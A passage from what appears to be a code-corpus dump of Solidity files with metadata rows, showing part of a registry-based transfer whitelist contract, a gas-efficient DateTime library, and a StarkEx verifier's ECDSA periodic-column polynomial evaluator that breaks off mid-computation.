function medianTimestamp(address) external view returns (uint256);
}
interface IStableToken {
function mint(address, uint256) external returns (bool);
function burn(uint256) external returns (bool);
function setInflationParameters(uint256, uint256) external;
function valueToUnits(uint256) external view returns (uint256);
function unitsToValue(uint256) external view returns (uint256);
function getInflationParameters() external view returns (uint256, uint256, uint256, uint256);
function balanceOf(address) external view returns (uint256);
}
contract UsingRegistry is Ownable {
event RegistrySet(address indexed registryAddress);
bytes32 constant ACCOUNTS_REGISTRY_ID = keccak256(abi.encodePacked("Accounts"));
bytes32 constant ATTESTATIONS_REGISTRY_ID = keccak256(abi.encodePacked("Attestations"));
bytes32 constant DOWNTIME_SLASHER_REGISTRY_ID = keccak256(abi.encodePacked("DowntimeSlasher"));
bytes32 constant DOUBLE_SIGNING_SLASHER_REGISTRY_ID = keccak256(abi.encodePacked("DoubleSigningSlasher"));
bytes32 constant ELECTION_REGISTRY_ID = keccak256(abi.encodePacked("Election"));
bytes32 constant EXCHANGE_REGISTRY_ID = keccak256(abi.encodePacked("Exchange"));
bytes32 constant FEE_CURRENCY_WHITELIST_REGISTRY_ID = keccak256(abi.encodePacked("FeeCurrencyWhitelist"));
bytes32 constant FREEZER_REGISTRY_ID = keccak256(abi.encodePacked("Freezer"));
bytes32 constant GOLD_TOKEN_REGISTRY_ID = keccak256(abi.encodePacked("GoldToken"));
bytes32 constant GOVERNANCE_REGISTRY_ID = keccak256(abi.encodePacked("Governance"));
bytes32 constant GOVERNANCE_SLASHER_REGISTRY_ID = keccak256(abi.encodePacked("GovernanceSlasher"));
bytes32 constant LOCKED_GOLD_REGISTRY_ID = keccak256(abi.encodePacked("LockedGold"));
bytes32 constant RESERVE_REGISTRY_ID = keccak256(abi.encodePacked("Reserve"));
bytes32 constant RANDOM_REGISTRY_ID = keccak256(abi.encodePacked("Random"));
bytes32 constant SORTED_ORACLES_REGISTRY_ID = keccak256(abi.encodePacked("SortedOracles"));
bytes32 constant STABLE_TOKEN_REGISTRY_ID = keccak256(abi.encodePacked("StableToken"));
bytes32 constant VALIDATORS_REGISTRY_ID = keccak256(abi.encodePacked("Validators"));
IRegistry public registry;
modifier onlyRegisteredContract(bytes32 identifierHash) {
require(registry.getAddressForOrDie(identifierHash) == msg.sender, "only registered contract");
_;
}
modifier onlyRegisteredContracts(bytes32[] memory identifierHashes) {
require(registry.isOneOf(identifierHashes, msg.sender), "only registered contracts");
_;
}
function setRegistry(address registryAddress) public onlyOwner {
require(registryAddress != address(0), "Cannot register the null address");
registry = IRegistry(registryAddress);
emit RegistrySet(registryAddress);
}
function getAccounts() internal view returns (IAccounts) {
return IAccounts(registry.getAddressForOrDie(ACCOUNTS_REGISTRY_ID));
}
function getAttestations() internal view returns (IAttestations) {
return IAttestations(registry.getAddressForOrDie(ATTESTATIONS_REGISTRY_ID));
}
function getElection() internal view returns (IElection) {
return IElection(registry.getAddressForOrDie(ELECTION_REGISTRY_ID));
}
function getExchange() internal view returns (IExchange) {
return IExchange(registry.getAddressForOrDie(EXCHANGE_REGISTRY_ID));
}
function getFeeCurrencyWhitelistRegistry() internal view returns (IFeeCurrencyWhitelist) {
return IFeeCurrencyWhitelist(registry.getAddressForOrDie(FEE_CURRENCY_WHITELIST_REGISTRY_ID));
}
function getFreezer() internal view returns (IFreezer) {
return IFreezer(registry.getAddressForOrDie(FREEZER_REGISTRY_ID));
}
function getGoldToken() internal view returns (IERC20) {
return IERC20(registry.getAddressForOrDie(GOLD_TOKEN_REGISTRY_ID));
}
function getGovernance() internal view returns (IGovernance) {
return IGovernance(registry.getAddressForOrDie(GOVERNANCE_REGISTRY_ID));
}
function getLockedGold() internal view returns (ILockedGold) {
return ILockedGold(registry.getAddressForOrDie(LOCKED_GOLD_REGISTRY_ID));
}
function getRandom() internal view returns (IRandom) {
return IRandom(registry.getAddressForOrDie(RANDOM_REGISTRY_ID));
}
function getReserve() internal view returns (IReserve) {
return IReserve(registry.getAddressForOrDie(RESERVE_REGISTRY_ID));
}
function getSortedOracles() internal view returns (ISortedOracles) {
return ISortedOracles(registry.getAddressForOrDie(SORTED_ORACLES_REGISTRY_ID));
}
function getStableToken() internal view returns (IStableToken) {
return IStableToken(registry.getAddressForOrDie(STABLE_TOKEN_REGISTRY_ID));
}
function getValidators() internal view returns (IValidators) {
return IValidators(registry.getAddressForOrDie(VALIDATORS_REGISTRY_ID));
}
}
contract TransferWhitelist is Ownable, UsingRegistry {
using SafeMath for uint256;
address[] private directlyWhitelistedAddresses;
bytes32[] public whitelistedContractIdentifiers;
event WhitelistedAddress(address indexed addr);
event WhitelistedAddressRemoved(address indexed addr);
event WhitelistedContractIdentifier(bytes32 indexed contractIdentifier);
constructor(address registryAddress) public {
_transferOwnership(msg.sender);
setRegistry(registryAddress);
}
function whitelistAddress(address newAddress) public onlyOwner {
directlyWhitelistedAddresses.push(newAddress);
emit WhitelistedAddress(newAddress);
}
function removeAddress(address removedAddress, uint256 index) external onlyOwner {
require(index < directlyWhitelistedAddresses.length, "Whitelist index out of range");
require(directlyWhitelistedAddresses[index] == removedAddress, "Bad whitelist index");
uint256 tailIndex = directlyWhitelistedAddresses.length.sub(1);
if (index != tailIndex) {
directlyWhitelistedAddresses[index] = directlyWhitelistedAddresses[tailIndex];
}
directlyWhitelistedAddresses.length = tailIndex;
emit WhitelistedAddressRemoved(removedAddress);
}
function whitelistRegisteredContract(bytes32 contractIdentifier) external onlyOwner {
require(registry.getAddressFor(contractIdentifier) != address(0),
"contractIdentifier does not correspond to a registered address");
whitelistedContractIdentifiers.push(contractIdentifier);
emit WhitelistedContractIdentifier(contractIdentifier);
}
function getNumberOfWhitelistedContractIdentifiers() external view returns (uint256 length) {
return whitelistedContractIdentifiers.length;
}
function setDirectlyWhitelistedAddresses(address[] calldata _whitelist) external onlyOwner {
for (uint256 i = 0; i < directlyWhitelistedAddresses.length; i = i.add(1)) {
emit WhitelistedAddressRemoved(directlyWhitelistedAddresses[i]);
}
directlyWhitelistedAddresses.length = 0;
for (uint256 i = 0; i < _whitelist.length; i = i.add(1)) {
whitelistAddress(_whitelist[i]);
}
}
function setWhitelistedContractIdentifiers(bytes32[] calldata _registeredContracts)
external
onlyOwner
{
whitelistedContractIdentifiers = _registeredContracts;
}
function getWhitelist() external view returns (address[] memory) {
uint256 len = directlyWhitelistedAddresses.length.add(whitelistedContractIdentifiers.length);
address[] memory _whitelist = new address[](len);
uint256 i = 0;
while (i < directlyWhitelistedAddresses.length) {
_whitelist[i] = directlyWhitelistedAddresses[i];
i = i.add(1);
}
for (uint256 j = 0; j < whitelistedContractIdentifiers.length; j = j.add(1)) {
_whitelist[i] = registry.getAddressFor(whitelistedContractIdentifiers[j]);
i = i.add(1);
}
return _whitelist;
}
function selfDestruct() external onlyOwner {
selfdestruct(msg.sender);
}
}
| 270,232 | 12,275 |
f51fecda8599b16f615805b3cb9810f65982bca072322ec9d9fe126ef51e8df9
| 13,330 |
.sol
|
Solidity
| false |
394947657
|
Fujicracy/fuji-protocol
|
3d4a408aabaf58181b6fb21a691bb3d8fd955656
|
contracts/fantom/nft-bonds/libraries/DateTime.sol
| 3,928 | 13,314 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// ----------------------------------------------------------------------------
// DateTime Library v1.01 by BokkyPooBah's
//
// A gas-efficient Solidity date and time library
//
// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary
//
// Tested date range 1970/01/01 to 2345/12/31
//
// Conventions:
// Unit | Range | Notes
// :-------- |:-------------:|:-----
// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC
// year | 1970 ... 2345 |
// month | 1 ... 12 |
// day | 1 ... 31 |
// hour | 0 ... 23 |
// minute | 0 ... 59 |
// second | 0 ... 59 |
// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday
//
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.
// ----------------------------------------------------------------------------
library DateTime {
uint constant SECONDS_PER_DAY = 24 * 60 * 60;
uint constant SECONDS_PER_HOUR = 60 * 60;
uint constant SECONDS_PER_MINUTE = 60;
int constant OFFSET19700101 = 2440588;
uint constant DOW_MON = 1;
uint constant DOW_TUE = 2;
uint constant DOW_WED = 3;
uint constant DOW_THU = 4;
uint constant DOW_FRI = 5;
uint constant DOW_SAT = 6;
uint constant DOW_SUN = 7;
// ------------------------------------------------------------------------
// Calculate the number of days from 1970/01/01 to year/month/day using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and subtracting the offset 2440588 so that 1970/01/01 is day 0
//
// days = day
// - 32075
// + 1461 * (year + 4800 + (month - 14) / 12) / 4
// + 367 * (month - 2 - (month - 14) / 12 * 12) / 12
// - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4
// - offset
// ------------------------------------------------------------------------
function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) {
require(year >= 1970);
int _year = int(year);
int _month = int(month);
int _day = int(day);
int __days = _day
- 32075
+ 1461 * (_year + 4800 + (_month - 14) / 12) / 4
+ 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12
- 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4
- OFFSET19700101;
_days = uint(__days);
}
// ------------------------------------------------------------------------
// Calculate year/month/day from the number of days since 1970/01/01 using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and adding the offset 2440588 so that 1970/01/01 is day 0
//
// int L = days + 68569 + offset
// int N = 4 * L / 146097
// L = L - (146097 * N + 3) / 4
// year = 4000 * (L + 1) / 1461001
// L = L - 1461 * year / 4 + 31
// month = 80 * L / 2447
// dd = L - 2447 * month / 80
// L = month / 11
// month = month + 2 - 12 * L
// year = 100 * (N - 49) + year + L
// ------------------------------------------------------------------------
function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) {
int __days = int(_days);
int L = __days + 68569 + OFFSET19700101;
int N = 4 * L / 146097;
L = L - (146097 * N + 3) / 4;
int _year = 4000 * (L + 1) / 1461001;
L = L - 1461 * _year / 4 + 31;
int _month = 80 * L / 2447;
int _day = L - 2447 * _month / 80;
L = _month / 11;
_month = _month + 2 - 12 * L;
_year = 100 * (N - 49) + _year + L;
year = uint(_year);
month = uint(_month);
day = uint(_day);
}
function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY;
}
function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second;
}
function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
secs = secs % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
second = secs % SECONDS_PER_MINUTE;
}
function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) {
if (year >= 1970 && month > 0 && month <= 12) {
uint daysInMonth = _getDaysInMonth(year, month);
if (day > 0 && day <= daysInMonth) {
valid = true;
}
}
}
function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) {
if (isValidDate(year, month, day)) {
if (hour < 24 && minute < 60 && second < 60) {
valid = true;
}
}
}
function isLeapYear(uint timestamp) internal pure returns (bool leapYear) {
(uint year,,) = _daysToDate(timestamp / SECONDS_PER_DAY);
leapYear = _isLeapYear(year);
}
function _isLeapYear(uint year) internal pure returns (bool leapYear) {
leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);
}
function isWeekDay(uint timestamp) internal pure returns (bool weekDay) {
weekDay = getDayOfWeek(timestamp) <= DOW_FRI;
}
function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) {
weekEnd = getDayOfWeek(timestamp) >= DOW_SAT;
}
function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) {
(uint year, uint month,) = _daysToDate(timestamp / SECONDS_PER_DAY);
daysInMonth = _getDaysInMonth(year, month);
}
function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
daysInMonth = 31;
} else if (month != 2) {
daysInMonth = 30;
} else {
daysInMonth = _isLeapYear(year) ? 29 : 28;
}
}
// 1 = Monday, 7 = Sunday
function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) {
uint _days = timestamp / SECONDS_PER_DAY;
dayOfWeek = (_days + 3) % 7 + 1;
}
function getYear(uint timestamp) internal pure returns (uint year) {
(year,,) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getMonth(uint timestamp) internal pure returns (uint month) {
(,month,) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getDay(uint timestamp) internal pure returns (uint day) {
(,,day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getHour(uint timestamp) internal pure returns (uint hour) {
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
}
function getMinute(uint timestamp) internal pure returns (uint minute) {
uint secs = timestamp % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
}
function getSecond(uint timestamp) internal pure returns (uint second) {
second = timestamp % SECONDS_PER_MINUTE;
}
function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
(uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year += _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
(uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY);
month += _months;
year += (month - 1) / 12;
month = (month - 1) % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _days * SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _hours * SECONDS_PER_HOUR;
require(newTimestamp >= timestamp);
}
function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE;
require(newTimestamp >= timestamp);
}
function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _seconds;
require(newTimestamp >= timestamp);
}
function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
(uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year -= _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
(uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint yearMonth = year * 12 + (month - 1) - _months;
year = yearMonth / 12;
month = yearMonth % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _days * SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _hours * SECONDS_PER_HOUR;
require(newTimestamp <= timestamp);
}
function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE;
require(newTimestamp <= timestamp);
}
function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _seconds;
require(newTimestamp <= timestamp);
}
function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) {
require(fromTimestamp <= toTimestamp);
(uint fromYear,,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(uint toYear,,) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_years = toYear - fromYear;
}
function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) {
require(fromTimestamp <= toTimestamp);
(uint fromYear, uint fromMonth,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(uint toYear, uint toMonth,) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;
}
function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) {
require(fromTimestamp <= toTimestamp);
_days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY;
}
function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) {
require(fromTimestamp <= toTimestamp);
_hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR;
}
function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) {
require(fromTimestamp <= toTimestamp);
_minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE;
}
function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) {
require(fromTimestamp <= toTimestamp);
_seconds = toTimestamp - fromTimestamp;
}
}
| 243,213 | 12,276 |
7f3068c2a2d2c27dda645ddfeec4a18ad989308882054ef83b222e9691f73ca6
| 32,721 |
.sol
|
Solidity
| false |
611715548
|
matter-labs/era-compiler-tests
|
ea5134338da679cdf346c540fb90c83e6dd8d44d
|
solidity/complex/defi/starkex-verifier/cpu/periodic_columns/EcdsaPointsYColumn.sol
| 18,208 | 28,690 |
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.6.12;
contract EcdsaPointsYColumn {
function compute(uint256 x) external pure returns(uint256 result) {
uint256 PRIME = 0x800000000000011000000000000000000000000000000000000000000000001;
assembly {
// Use Horner's method to compute f(x).
// The idea is that
// a_0 + a_1 * x + a_2 * x^2 + ... + a_n * x^n =
// (...(((a_n * x) + a_{n-1}) * x + a_{n-2}) * x + ...) + a_0.
// Consequently we need to do deg(f) horner iterations that consist of:
// 1. Multiply the last result by x
// 2. Add the next coefficient (starting from the highest coefficient)
//
// We slightly diverge from the algorithm above by updating the result only once
// every 7 horner iterations.
// We do this because variable assignment in solidity's functional-style assembly results in
// a swap followed by a pop.
// 7 is the highest batch we can do due to the 16 slots limit in evm.
result :=
add(0xf524ffcb160c3dfcc72d40b12754e2dc26433a37b8207934f489a203628137, mulmod(add(0x23b940cd5c4f2e13c6df782f88cce6294315a1b406fda6137ed4a330bd80e37, mulmod(add(0x62e62fafc55013ee6450e33e81f6ba8524e37558ea7df7c06785f3784a3d9a8, mulmod(add(0x347dfb13aea22cacbef33972ad3017a5a9bab04c296295d5d372bad5e076a80, mulmod(add(0x6c930134c99ac7200d41939eb29fb4f4e380b3f2a11437dd01d12fd9ebe8909, mulmod(add(0x49d16d6e3720b63f7d1e74ed7fd8ea759132735c094c112c0e9dd8cc4653820, mulmod(add(0x23a2994e807cd40717d68f37e1d765f4354a81b12374c82f481f09f9faff31a, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4eac8ffa98cdea2259f5c8ad87a797b29c9dccc28996aed0b545c075c17ebe1, mulmod(add(0x1058ff85f121d7902521abfa5f3f5c953fee83e0f58e069545f2fc0f4eda1ba, mulmod(add(0x76b4883fd523dff46e4e330a3dd140c3eded71524a67a56a75bd51d01d6b6ca, mulmod(add(0x5057b804cff6566354ca744df3686abec58eda846cafdc361a7757f58bd336e, mulmod(add(0x37d720cf4c846de254d76df8b6f92e93b839ee34bf528d059c3112d87080a38, mulmod(add(0xa401d8071183f0c7b4801d57de9ba6cda7bd67d7941b4507eab5a851a51b09, mulmod(add(0x603e3a8698c5c3a0b0b40a79ba0fdff25e5971f0ef0d3242ead1d1a413e443b, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4b74b468c4ef808ddcc6e582393940111941abece8a285da201171dc50525c7, mulmod(add(0x761717d47600662a250116e2403b5115f4071de6e26e8dc231840eeb4484ec3, mulmod(add(0x5a593d928542a100c16f3dc5344734c9ef474609bd7099257675cef0392fab8, mulmod(add(0x7d2292c8660492e8a1ce3db5c80b743d60cdaac7f438b6feab02f8e2aade260, mulmod(add(0x480d06bb4222e222e39ab600b8aadf591db4c70bae30fe756b61564eec6c7e, mulmod(add(0x59fef071cf1eeff5303f28f4fe10b16471a2230766915d70b525d62871f6bc6, mulmod(add(0x6e7240c4a94fa3e10de72070fd2bf611af5429b7e83d53cfe1a758dee7d2a79, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x247573f2f3fbd5386eac2d26851f9512cd57ad19773b8ca119d20852b9b6538, mulmod(add(0x739edb8cdd16692deaba7fb1bb03f55dd417891bacb39c7927969551f29cb37, mulmod(add(0x6e0bed1b41ee1cf8667c2924ebd460772a0cd97d68eaea63c6fa77bf73f9a9e, mulmod(add(0x3ede75d46d49ceb580d53f8f0553a2e370138eb76ac5e734b39a55b958c847d, mulmod(add(0x59bd7fe1c9553495b493f875799d79fc86d0c26e794cce09c659c397c5c4778, mulmod(add(0x47b2a5ef58d331c30cfcd098ee011aaeae87781fd8ce2d7427c6b859229c523, mulmod(add(0x14ef999212f88ca277747cc57dca607a1e7049232becedf47e98aca47c1d3fe, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x38db61aa2a2b03053f5c51b155bc757b0634ce89baace113391369682fc1f74, mulmod(add(0x43545892bb5a364c0b9acd28e36371bede7fd05e59a9dcd875c44ff68275b2b, mulmod(add(0x5599e790bd325b322395d63d96cd0bd1494d4648e3d1991d54c23d24a714342, mulmod(add(0x675532b80f5aaa605219de7fe8650e24fee1c3b0d36cdf4fb605f6215afacee, mulmod(add(0x278a7c68986adbe634d44c882a1242147e276fee7962d4c69ca4c8747b3e497, mulmod(add(0x75a0f99a4dec1988f19db3f8b29eeef87836eb0c3d8493913b7502cfedcef28, mulmod(add(0x2f6efb89f27d2c0a86ec1e6f231b225caf2af9be01aca173a15fa02b11fdf24, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x10f236430f20aafda49d1c3e3759c510fdf0c0c19f89df6d5d71deac88b547b, mulmod(add(0x7b16c33c4a8ffcecbd83f382469e1d00a340ceab5e7d9c0bd4fd010b83f4310, mulmod(add(0x6ae3ee97ea5dcfbb7c36cffd89665baf114fae391c0367be688db09861a8ca1, mulmod(add(0xcb3335374cc2a2350fe53d2389f04952c4d634f489031742dfccca17be2e09, mulmod(add(0x1030d58878296e14b1c5bcafe7e817ebe4aa1039aa96b9d0dd7fc915b23f42a, mulmod(add(0x3a663fc27ec3ad56da89d407089bcec0971cebcb3edf0c393112501919643d7, mulmod(add(0x71b2b6b03e8cc0365ac26c4dbf71e8d426167d79f8bd1af44738890c563062a, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4f63db02e10fbe428a5dda8d9093feef46cc19568a3c8ad2fce7e7519004095, mulmod(add(0x2bfd1294f111a5a90842d19cffb97481aefbc09ab6c47d7dcf91ba228019c07, mulmod(add(0xdaee1c7b34ecb34717b7313dc4a299dd1a161447e2e0249426a6fc33a72289, mulmod(add(0x76323f8567119897f10d58e1552c98f5a62f03a16d3737e20fc2b0a31a3a843, mulmod(add(0x65d50aa3c1d84a3deee14057eec98656a1296cdcbe32250bfdaa50ffac4c5dc, mulmod(add(0x253bf2869135f4bda4029cae2819b2f468ae88530f3ea771090b2727814c494, mulmod(add(0x104b04e96151f5103118c4eb556cd79899148fd6656e73cb62f41b41d65e4d8, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4e0a5dd802deed7cb8d06527beb15dad32547bae77141c32473f4c8148912e3, mulmod(add(0x33ff2d848bf237f536524da818598ae0f2516ebee526b77957448973eefacd3, mulmod(add(0x5a00feeb391114d7b976654ab16ddf8360f05671b34d4a97da278c0aef34d76, mulmod(add(0x7e8659c39d7a102a198f0e7c3814060926ec0410330dd1a13dfadeab4e74593, mulmod(add(0x5ba89e0eb3830039d0f8a9ca00acef15db22374c965b01abc49dee46270a7d, mulmod(add(0x30a2e8ac9e6605fd722dffb4caca8c06dd4a8968a7bf41a5371cb1a07d11c00, mulmod(add(0x761a240cd8aa2f135daf0760bfc2c9d5e896e93a45426571cdad9118722e2b0, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1b0fa36439192f135c239918bf47ad14b55ced699f4582d929a60dd227b34ff, mulmod(add(0x472d99d1a6e1a6aef339eab1af3d53af7a8326e4d0a6bac73c3a159031c3686, mulmod(add(0x2046e1b4fd4c108e8f832f5bcc4dd46abf0d19ef0237beaec29d6c12fb9832e, mulmod(add(0xa758a70ba6a0cbcbc65abfeca51359904f790752c3df55d42707253d8dea70, mulmod(add(0x6eb66d366da57e4ae717307dfc3351579fe857c51aa82b95044473c9ed14377, mulmod(add(0x59d0d8ca9ecda81081dfcae7580ab3c08a72195438c1556000c0c1dbdc08174, mulmod(add(0x776459dfedbbdfcef7a31e0f60c6480fc0676b280fdb6290859fe586d6e6106, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x23590dabe53e4ef12cba4a89b4741fcfaa232b7713d89df162031c8a627011e, mulmod(add(0x339b405bffb6dbb25bc0432e9c726b7f94e18cf1332ec7adfeb613345e935ab, mulmod(add(0x25c5f348c260177cd57b483694290574a936a4d585ea7cf55d114a8005b17d0, mulmod(add(0x68a8c6f86a8c1ebaeb6aa72acef7fb5357b40700af043ce66d3dccee116510a, mulmod(add(0x1ea9bd78c80641dbf20eddd35786028691180ddcf8df7c87552dee1525368ba, mulmod(add(0x4e42531395d8b35bf28ccc6fab19ea1f63c635e5a3683ac9147306c1640e887, mulmod(add(0x728dd423dbf134972cbc7c934407424743843dd438e0f229afbcca6ce34d07d, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x30b11c32e8aab0c5908651a8d445395de52d5ce6a1efe75f2ad5e2c8c854a30, mulmod(add(0x44938959c2e944eb6e5c52fc4ee40b34df37905fa348fa109f6875c1aa18000, mulmod(add(0x655038ca08eba87484bc562e7fd50ce0584363278f9d716e31c650ee6989a2b, mulmod(add(0x4f81a946bb92416d212e4d54f2be5fa8043be6fa482b417d772bfa90be4e273, mulmod(add(0x605a244f646a825602891bf9ddffef80525010517b32625759b0bf5a7f2c386, mulmod(add(0x2e1b2a3c32aebc0be30addd8929c01714783aaf01be8a1d35e830646e8a54f0, mulmod(add(0x534a4f3cf71c93023e473f12e407558b6c24b712204fd59ddc18c7bcddd571e, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3e850e31c0345726c1ace38537dd88a50c85d6819ae98add1bbd62b618f7a1c, mulmod(add(0xd77a8e8eed7ce4931a6d2a4774c21864e2c9f468d080af9aba6756433a1a8d, mulmod(add(0x62be425458d26cfedf8ec23961cdfd9f4abeb21f1debbe87bd51469013358fe, mulmod(add(0x7d7faca17be1da74cf132dda889a05fce6e710af72897a941625ea07caa8b01, mulmod(add(0x580550e76557c8ff3368e6578a0e3bed0bac53b88fefdde88f00d7089bc175d, mulmod(add(0x1345876a6ab567477c15bf37cc95b4ec39ac287887b4407593203d76f853334, mulmod(add(0x4a92733a733f225226a3d7f69297e7ff378b62c8a369e1bbf0accfd7fb0977e, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
